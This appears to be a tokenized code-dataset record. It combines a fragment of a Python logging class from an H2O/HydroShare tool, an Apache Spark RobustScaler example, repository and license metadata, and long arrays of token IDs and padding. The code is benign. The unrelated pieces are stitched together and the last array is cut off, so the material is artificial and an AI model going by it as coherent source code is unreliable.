{}'.format(template)) return self.ActiveHydroshare.createNewResource(template) class H2OLogger: def __init__(self, logfile_dir=None, log_to_gui=False): if logfile_dir is None: logfile_dir = APP_SETTINGS.LOGFILE_DIR self.log_to_gui = log_to_gui self.terminal = sys.stdout if APP_SETTINGS.H2O_DEBUG: file_name = '{}/H2O_Log_{}.csv'.format(logfile_dir, 'TestFile') else: file_name = '{}/H2O_Log_{}.csv'.format(logfile_dir, datetime.datetime.now().strftime('%Y-%m-%d_%H-%M-%S')) self.LogFile = open(file_name, mode='w') sys.stdout = self if not APP_SETTINGS.H2O_DEBUG: sys.stderr = self def write(self, message): if len(message) > 0 and not message.isspace(): self.terminal.write(H2OLogger.prefix_date(message)) self.LogFile.write(H2OLogger.prefix_date(message)) self.LogFile.flush() if APP_SETTINGS.GUI_MODE and APP_SETTINGS.VERBOSE: pub.sendMessage('logger', message='H2OService: ' + str(message)) @staticmethod def prefix_date(message): date_string = datetime.datetime.now().strftime('%H-%M-%S') return '{date}: {message}\n'.format(date=date_string, message=message) def flush(self): pass
bsd-3-clause
[ 646, 2197, 199, 504, 4967, 492, 5925, 199, 504, 5796, 492, 11086, 199, 199, 646, 2022, 8092, 199, 646, 984, 199, 504, 4818, 14, 773, 14, 20213, 492, 7974, 199, 3, 687, 7974, 954, 492, 7974, 199, 199, 504, 598, 1156, 934, 7963, 1451, 14, 364, 77, 5950, 492, 7591, 2988, 199, 504, 869, 18, 47, 9641, 492, 593, 6428, 9641, 4433, 199, 504, 13964, 492, 19525, 63, 13931, 12, 11578, 13752, 199, 504, 738, 17933, 14, 9271, 22905, 492, 6516, 35, 2772, 1173, 12, 2372, 9641, 15731, 4709, 12, 869, 18, 47, 22625, 4031, 12, 593, 6428, 9271, 3225, 199, 504, 738, 17933, 14, 21568, 17264, 18713, 17505, 492, 29591, 17264, 18713, 6009, 11347, 12, 29591, 17264, 18713, 17505, 12, 7337, 4231, 199, 199, 363, 1213, 363, 275, 283, 40, 18, 47, 7591, 7, 421, 199, 533, 869, 18, 47, 3167, 26, 272, 1021, 8015, 4436, 1726, 8, 1726, 304, 267, 347, 636, 826, 721, 277, 12, 1249, 304, 288, 1613, 8, 40, 18, 47, 3167, 14, 6293, 4436, 1726, 12, 291, 2843, 826, 721, 589, 9, 339, 17160, 63, 19476, 12969, 275, 469, 267, 283, 2921, 356, 2400, 1245, 26, 791, 1188, 356, 1245, 1386, 267, 283, 12929, 63, 28500, 356, 2400, 1245, 26, 791, 1188, 356, 1245, 1386, 267, 283, 1451, 2193, 63, 19908, 356, 2400, 9709, 12, 3141, 26, 791, 12634, 356, 9709, 12, 283, 2923, 356, 3141, 1386, 267, 283, 1173, 63, 4276, 356, 2400, 1788, 12, 1245, 26, 791, 1501, 356, 1788, 12, 283, 1188, 356, 1245, 1386, 267, 283, 9271, 63, 21031, 356, 2400, 2073, 12, 4224, 12, 3141, 26, 791, 8924, 356, 3666, 4456, 627, 2948, 9, 1182, 3141, 9, 446, 413, 12, 283, 1927, 356, 2073, 1386, 267, 283, 9271, 63, 12706, 356, 2400, 2073, 12, 4224, 12, 3141, 26, 791, 12634, 356, 3666, 4456, 627, 2948, 9, 1182, 3141, 9, 446, 413, 12, 283, 1927, 356, 2073, 1386, 267, 283, 5535, 63, 21145, 356, 2400, 2073, 12, 4224, 12, 3141, 26, 791, 8924, 356, 3666, 4456, 627, 2948, 9, 1182, 3141, 9, 446, 413, 12, 283, 1927, 356, 2073, 1386, 267, 283, 1721, 3640, 63, 19908, 356, 2400, 2073, 12, 4224, 12, 3141, 26, 791, 12634, 356, 3666, 4456, 627, 2948, 9, 1182, 3141, 9, 446, 413, 12, 283, 1927, 356, 2073, 93, 272, 789, 339, 347, 636, 826, 721, 277, 12, 7188, 17264, 6251, 63, 7995, 29, 403, 12, 312, 6428, 63, 7995, 29, 403, 12, 2073, 63, 5876, 29, 403, 12, 25708, 29, 403, 12, 326, 12883, 63, 4435, 29, 403, 304, 267, 291, 14, 21568, 17264, 18713, 22122, 275, 7188, 17264, 6251, 63, 7995, 340, 7188, 17264, 6251, 63, 7995, 365, 440, 488, 587, 1052, 221, 327, 730, 26, 1211, 59, 495, 12, 29591, 17264, 18713, 6009, 11347, 61, 267, 291, 14, 7243, 22122, 275, 312, 6428, 63, 7995, 340, 312, 6428, 63, 7995, 365, 440, 488, 587, 1052, 221, 327, 730, 26, 1211, 59, 495, 12, 593, 6428, 9271, 3225, 61, 267, 291, 14, 4031, 17969, 275, 2073, 63, 5876, 340, 2073, 63, 5876, 365, 440, 488, 587, 1052, 221, 327, 730, 26, 1211, 59, 495, 12, 7337, 4231, 61, 267, 291, 14, 22625, 13745, 275, 12883, 63, 4435, 340, 12883, 63, 4435, 365, 440, 488, 587, 1052, 221, 327, 730, 26, 1211, 59, 495, 12, 869, 18, 47, 22625, 4031, 61, 267, 291, 14, 19120, 83, 275, 25708, 340, 25708, 365, 440, 488, 587, 942, 221, 327, 730, 26, 769, 59, 495, 61, 398, 11578, 13752, 779, 7121, 63, 13931, 14, 28231, 775, 63, 3022, 12, 19525, 63, 13931, 14, 4947, 3817, 63, 3022, 566, 267, 984, 14, 2703, 275, 869, 18, 2228, 974, 836, 8, 793, 63, 475, 63, 5885, 534, 2921, 7, 315, 291, 14, 19120, 83, 9, 398, 291, 14, 31699, 3481, 275, 488, 221, 327, 730, 26, 11086, 267, 291, 14, 6293, 4436, 275, 756, 398, 291, 14, 7472, 21568, 17264, 6251, 275, 488, 221, 327, 730, 26, 29591, 17264, 18713, 17505, 398, 291, 14, 4737, 63, 10116, 275, 2097, 5339, 3926, 401, 298, 934, 1439, 12449, 401, 298, 3926, 11288, 937, 267, 291, 14, 27005, 63, 3406, 275, 2097, 12621, 9893, 998, 401, 298, 12621, 9893, 3034, 401, 298, 12621, 9893, 5831, 937, 267, 291, 14, 4737, 63, 3406, 275, 2097, 1451, 1110, 401, 298, 5339, 3926, 401, 298, 934, 1439, 12449, 401, 298, 3926, 11288, 937, 339, 347, 3378, 2925, 8, 277, 304, 267, 4789, 63, 835, 275, 822, 8, 277, 14, 22625, 13745, 9, 267, 1453, 63, 5214, 275, 378, 267, 2073, 63, 1247, 275, 942, 267, 17446, 63, 2048, 275, 488, 221, 327, 730, 26, 29591, 17264, 18713, 6009, 398, 367, 2073, 315, 291, 14, 22625, 13745, 14, 1459, 837, 288, 340, 19525, 63, 13931, 14, 13525, 63, 16255, 36, 1092, 31220, 26, 355, 1980, 288, 870, 360, 1721, 8786, 1584, 370, 2073, 9499, 908, 8, 1927, 14, 1927, 14, 1213, 430, 288, 862, 26, 355, 340, 17446, 63, 2048, 365, 488, 503, 17446, 63, 2048, 14, 354, 1137, 2073, 14, 4213, 63, 2048, 63, 354, 26, 490, 870, 360, 32000, 370, 29591, 17264, 18713, 2933, 9499, 908, 8, 1927, 14, 4213, 63, 2048, 63, 354, 430, 490, 862, 26, 717, 2933, 275, 291, 14, 21568, 17264, 18713, 22122, 59, 1927, 14, 4213, 63, 2048, 63, 354, 61, 717, 291, 14, 7472, 21568, 17264, 6251, 275, 29591, 17264, 18713, 17505, 342, 9453, 291, 14, 7472, 21568, 17264, 6251, 14, 13975, 3682, 2048, 14, 475, 63, 807, 1012, 9453, 1950, 63, 1188, 275, 283, 25001, 15082, 29591, 17264, 18713, 2933, 2436, 7, 4951, 871, 2186, 465, 325, 26, 717, 1950, 63, 1188, 275, 283, 6005, 370, 12895, 446, 1626, 1919, 8920, 26, 9499, 908, 8, 69, 9, 490, 3753, 26, 717, 870, 8, 2105, 63, 1188, 9, 2234, 2073, 63, 1725, 275, 291, 14, 7472, 21568, 17264, 6251, 14, 362, 4031, 1173, 1296, 8, 1927, 14, 1927, 63, 344, 9, 355, 870, 360, 4031, 1052, 965, 1052, 1584, 26, 1370, 908, 8, 1927, 14, 1927, 14, 1213, 12, 822, 8, 1927, 63, 1725, 1724, 355, 367, 522, 63, 493, 315, 2073, 63, 1725, 26, 490, 870, 8, 470, 63, 493, 9, 2234 ]
[ 2197, 199, 504, 4967, 492, 5925, 199, 504, 5796, 492, 11086, 199, 199, 646, 2022, 8092, 199, 646, 984, 199, 504, 4818, 14, 773, 14, 20213, 492, 7974, 199, 3, 687, 7974, 954, 492, 7974, 199, 199, 504, 598, 1156, 934, 7963, 1451, 14, 364, 77, 5950, 492, 7591, 2988, 199, 504, 869, 18, 47, 9641, 492, 593, 6428, 9641, 4433, 199, 504, 13964, 492, 19525, 63, 13931, 12, 11578, 13752, 199, 504, 738, 17933, 14, 9271, 22905, 492, 6516, 35, 2772, 1173, 12, 2372, 9641, 15731, 4709, 12, 869, 18, 47, 22625, 4031, 12, 593, 6428, 9271, 3225, 199, 504, 738, 17933, 14, 21568, 17264, 18713, 17505, 492, 29591, 17264, 18713, 6009, 11347, 12, 29591, 17264, 18713, 17505, 12, 7337, 4231, 199, 199, 363, 1213, 363, 275, 283, 40, 18, 47, 7591, 7, 421, 199, 533, 869, 18, 47, 3167, 26, 272, 1021, 8015, 4436, 1726, 8, 1726, 304, 267, 347, 636, 826, 721, 277, 12, 1249, 304, 288, 1613, 8, 40, 18, 47, 3167, 14, 6293, 4436, 1726, 12, 291, 2843, 826, 721, 589, 9, 339, 17160, 63, 19476, 12969, 275, 469, 267, 283, 2921, 356, 2400, 1245, 26, 791, 1188, 356, 1245, 1386, 267, 283, 12929, 63, 28500, 356, 2400, 1245, 26, 791, 1188, 356, 1245, 1386, 267, 283, 1451, 2193, 63, 19908, 356, 2400, 9709, 12, 3141, 26, 791, 12634, 356, 9709, 12, 283, 2923, 356, 3141, 1386, 267, 283, 1173, 63, 4276, 356, 2400, 1788, 12, 1245, 26, 791, 1501, 356, 1788, 12, 283, 1188, 356, 1245, 1386, 267, 283, 9271, 63, 21031, 356, 2400, 2073, 12, 4224, 12, 3141, 26, 791, 8924, 356, 3666, 4456, 627, 2948, 9, 1182, 3141, 9, 446, 413, 12, 283, 1927, 356, 2073, 1386, 267, 283, 9271, 63, 12706, 356, 2400, 2073, 12, 4224, 12, 3141, 26, 791, 12634, 356, 3666, 4456, 627, 2948, 9, 1182, 3141, 9, 446, 413, 12, 283, 1927, 356, 2073, 1386, 267, 283, 5535, 63, 21145, 356, 2400, 2073, 12, 4224, 12, 3141, 26, 791, 8924, 356, 3666, 4456, 627, 2948, 9, 1182, 3141, 9, 446, 413, 12, 283, 1927, 356, 2073, 1386, 267, 283, 1721, 3640, 63, 19908, 356, 2400, 2073, 12, 4224, 12, 3141, 26, 791, 12634, 356, 3666, 4456, 627, 2948, 9, 1182, 3141, 9, 446, 413, 12, 283, 1927, 356, 2073, 93, 272, 789, 339, 347, 636, 826, 721, 277, 12, 7188, 17264, 6251, 63, 7995, 29, 403, 12, 312, 6428, 63, 7995, 29, 403, 12, 2073, 63, 5876, 29, 403, 12, 25708, 29, 403, 12, 326, 12883, 63, 4435, 29, 403, 304, 267, 291, 14, 21568, 17264, 18713, 22122, 275, 7188, 17264, 6251, 63, 7995, 340, 7188, 17264, 6251, 63, 7995, 365, 440, 488, 587, 1052, 221, 327, 730, 26, 1211, 59, 495, 12, 29591, 17264, 18713, 6009, 11347, 61, 267, 291, 14, 7243, 22122, 275, 312, 6428, 63, 7995, 340, 312, 6428, 63, 7995, 365, 440, 488, 587, 1052, 221, 327, 730, 26, 1211, 59, 495, 12, 593, 6428, 9271, 3225, 61, 267, 291, 14, 4031, 17969, 275, 2073, 63, 5876, 340, 2073, 63, 5876, 365, 440, 488, 587, 1052, 221, 327, 730, 26, 1211, 59, 495, 12, 7337, 4231, 61, 267, 291, 14, 22625, 13745, 275, 12883, 63, 4435, 340, 12883, 63, 4435, 365, 440, 488, 587, 1052, 221, 327, 730, 26, 1211, 59, 495, 12, 869, 18, 47, 22625, 4031, 61, 267, 291, 14, 19120, 83, 275, 25708, 340, 25708, 365, 440, 488, 587, 942, 221, 327, 730, 26, 769, 59, 495, 61, 398, 11578, 13752, 779, 7121, 63, 13931, 14, 28231, 775, 63, 3022, 12, 19525, 63, 13931, 14, 4947, 3817, 63, 3022, 566, 267, 984, 14, 2703, 275, 869, 18, 2228, 974, 836, 8, 793, 63, 475, 63, 5885, 534, 2921, 7, 315, 291, 14, 19120, 83, 9, 398, 291, 14, 31699, 3481, 275, 488, 221, 327, 730, 26, 11086, 267, 291, 14, 6293, 4436, 275, 756, 398, 291, 14, 7472, 21568, 17264, 6251, 275, 488, 221, 327, 730, 26, 29591, 17264, 18713, 17505, 398, 291, 14, 4737, 63, 10116, 275, 2097, 5339, 3926, 401, 298, 934, 1439, 12449, 401, 298, 3926, 11288, 937, 267, 291, 14, 27005, 63, 3406, 275, 2097, 12621, 9893, 998, 401, 298, 12621, 9893, 3034, 401, 298, 12621, 9893, 5831, 937, 267, 291, 14, 4737, 63, 3406, 275, 2097, 1451, 1110, 401, 298, 5339, 3926, 401, 298, 934, 1439, 12449, 401, 298, 3926, 11288, 937, 339, 347, 3378, 2925, 8, 277, 304, 267, 4789, 63, 835, 275, 822, 8, 277, 14, 22625, 13745, 9, 267, 1453, 63, 5214, 275, 378, 267, 2073, 63, 1247, 275, 942, 267, 17446, 63, 2048, 275, 488, 221, 327, 730, 26, 29591, 17264, 18713, 6009, 398, 367, 2073, 315, 291, 14, 22625, 13745, 14, 1459, 837, 288, 340, 19525, 63, 13931, 14, 13525, 63, 16255, 36, 1092, 31220, 26, 355, 1980, 288, 870, 360, 1721, 8786, 1584, 370, 2073, 9499, 908, 8, 1927, 14, 1927, 14, 1213, 430, 288, 862, 26, 355, 340, 17446, 63, 2048, 365, 488, 503, 17446, 63, 2048, 14, 354, 1137, 2073, 14, 4213, 63, 2048, 63, 354, 26, 490, 870, 360, 32000, 370, 29591, 17264, 18713, 2933, 9499, 908, 8, 1927, 14, 4213, 63, 2048, 63, 354, 430, 490, 862, 26, 717, 2933, 275, 291, 14, 21568, 17264, 18713, 22122, 59, 1927, 14, 4213, 63, 2048, 63, 354, 61, 717, 291, 14, 7472, 21568, 17264, 6251, 275, 29591, 17264, 18713, 17505, 342, 9453, 291, 14, 7472, 21568, 17264, 6251, 14, 13975, 3682, 2048, 14, 475, 63, 807, 1012, 9453, 1950, 63, 1188, 275, 283, 25001, 15082, 29591, 17264, 18713, 2933, 2436, 7, 4951, 871, 2186, 465, 325, 26, 717, 1950, 63, 1188, 275, 283, 6005, 370, 12895, 446, 1626, 1919, 8920, 26, 9499, 908, 8, 69, 9, 490, 3753, 26, 717, 870, 8, 2105, 63, 1188, 9, 2234, 2073, 63, 1725, 275, 291, 14, 7472, 21568, 17264, 6251, 14, 362, 4031, 1173, 1296, 8, 1927, 14, 1927, 63, 344, 9, 355, 870, 360, 4031, 1052, 965, 1052, 1584, 26, 1370, 908, 8, 1927, 14, 1927, 14, 1213, 12, 822, 8, 1927, 63, 1725, 1724, 355, 367, 522, 63, 493, 315, 2073, 63, 1725, 26, 490, 870, 8, 470, 63, 493, 9, 2234, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
vinodkc/spark
examples/src/main/python/ml/robust_scaler_example.py
27
1600
# # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not use this file except in compliance with # the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # $example on$ from pyspark.ml.feature import RobustScaler # $example off$ from pyspark.sql import SparkSession if __name__ == "__main__": spark = SparkSession\ .builder\ .appName("RobustScalerExample")\ .getOrCreate() # $example on$ dataFrame = spark.read.format("libsvm").load("data/mllib/sample_libsvm_data.txt") scaler = RobustScaler(inputCol="features", outputCol="scaledFeatures", withScaling=True, withCentering=False, lower=0.25, upper=0.75) # Compute summary statistics by fitting the RobustScaler scalerModel = scaler.fit(dataFrame) # Transform each feature to have unit quantile range. scaledData = scalerModel.transform(dataFrame) scaledData.show() # $example off$ spark.stop()
apache-2.0
[ 3, 199, 3, 3909, 370, 314, 3668, 2290, 2752, 334, 14950, 9, 1334, 1373, 503, 1655, 199, 3, 11615, 4190, 14024, 14, 221, 1666, 314, 12840, 570, 1854, 543, 199, 3, 642, 1736, 367, 4722, 2556, 12602, 4248, 12715, 14, 199, 3, 710, 14857, 12378, 642, 570, 370, 2047, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 199, 3, 334, 1589, 298, 3761, 3547, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 199, 3, 314, 844, 14, 221, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 259, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 199, 199, 3, 2672, 2694, 641, 4, 199, 504, 15847, 14, 757, 14, 4445, 492, 6848, 15549, 24274, 199, 3, 2672, 2694, 2331, 4, 199, 504, 15847, 14, 3009, 492, 13932, 4434, 199, 199, 692, 636, 354, 363, 508, 4396, 973, 5727, 272, 15442, 275, 13932, 4434, 60, 267, 1275, 5649, 60, 267, 1275, 571, 985, 480, 3863, 15549, 24274, 9846, 27681, 267, 1275, 30457, 2499, 342, 339, 327, 2672, 2694, 641, 4, 272, 666, 3160, 275, 15442, 14, 739, 14, 908, 480, 8450, 2611, 3471, 912, 480, 576, 15, 25598, 15, 3271, 63, 8450, 2611, 63, 576, 14, 2424, 531, 272, 31121, 275, 6848, 15549, 24274, 8, 1210, 2001, 628, 3179, 401, 1072, 2001, 628, 15120, 10807, 401, 2079, 543, 26416, 29, 549, 12, 543, 13551, 316, 29, 797, 12, 2079, 5117, 29, 16, 14, 821, 12, 7008, 29, 16, 14, 2194, 9, 339, 327, 8354, 6212, 11076, 701, 21774, 314, 6848, 15549, 24274, 272, 31121, 1685, 275, 31121, 14, 3269, 8, 576, 3160, 9, 339, 327, 19463, 1924, 3878, 370, 1172, 4137, 31975, 1425, 14, 272, 17923, 1451, 275, 31121, 1685, 14, 4711, 8, 576, 3160, 9, 272, 17923, 1451, 14, 2384, 342, 272, 327, 2672, 2694, 2331, 4, 339, 15442, 14, 2379, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 199, 3, 3909, 370, 314, 3668, 2290, 2752, 334, 14950, 9, 1334, 1373, 503, 1655, 199, 3, 11615, 4190, 14024, 14, 221, 1666, 314, 12840, 570, 1854, 543, 199, 3, 642, 1736, 367, 4722, 2556, 12602, 4248, 12715, 14, 199, 3, 710, 14857, 12378, 642, 570, 370, 2047, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 199, 3, 334, 1589, 298, 3761, 3547, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 199, 3, 314, 844, 14, 221, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 259, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 199, 199, 3, 2672, 2694, 641, 4, 199, 504, 15847, 14, 757, 14, 4445, 492, 6848, 15549, 24274, 199, 3, 2672, 2694, 2331, 4, 199, 504, 15847, 14, 3009, 492, 13932, 4434, 199, 199, 692, 636, 354, 363, 508, 4396, 973, 5727, 272, 15442, 275, 13932, 4434, 60, 267, 1275, 5649, 60, 267, 1275, 571, 985, 480, 3863, 15549, 24274, 9846, 27681, 267, 1275, 30457, 2499, 342, 339, 327, 2672, 2694, 641, 4, 272, 666, 3160, 275, 15442, 14, 739, 14, 908, 480, 8450, 2611, 3471, 912, 480, 576, 15, 25598, 15, 3271, 63, 8450, 2611, 63, 576, 14, 2424, 531, 272, 31121, 275, 6848, 15549, 24274, 8, 1210, 2001, 628, 3179, 401, 1072, 2001, 628, 15120, 10807, 401, 2079, 543, 26416, 29, 549, 12, 543, 13551, 316, 29, 797, 12, 2079, 5117, 29, 16, 14, 821, 12, 7008, 29, 16, 14, 2194, 9, 339, 327, 8354, 6212, 11076, 701, 21774, 314, 6848, 15549, 24274, 272, 31121, 1685, 275, 31121, 14, 3269, 8, 576, 3160, 9, 339, 327, 19463, 1924, 3878, 370, 1172, 4137, 31975, 1425, 14, 272, 17923, 1451, 275, 31121, 1685, 14, 4711, 8, 576, 3160, 9, 272, 17923, 1451, 14, 2384, 342, 272, 327, 2672, 2694, 2331, 4, 339, 15442, 14, 2379, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 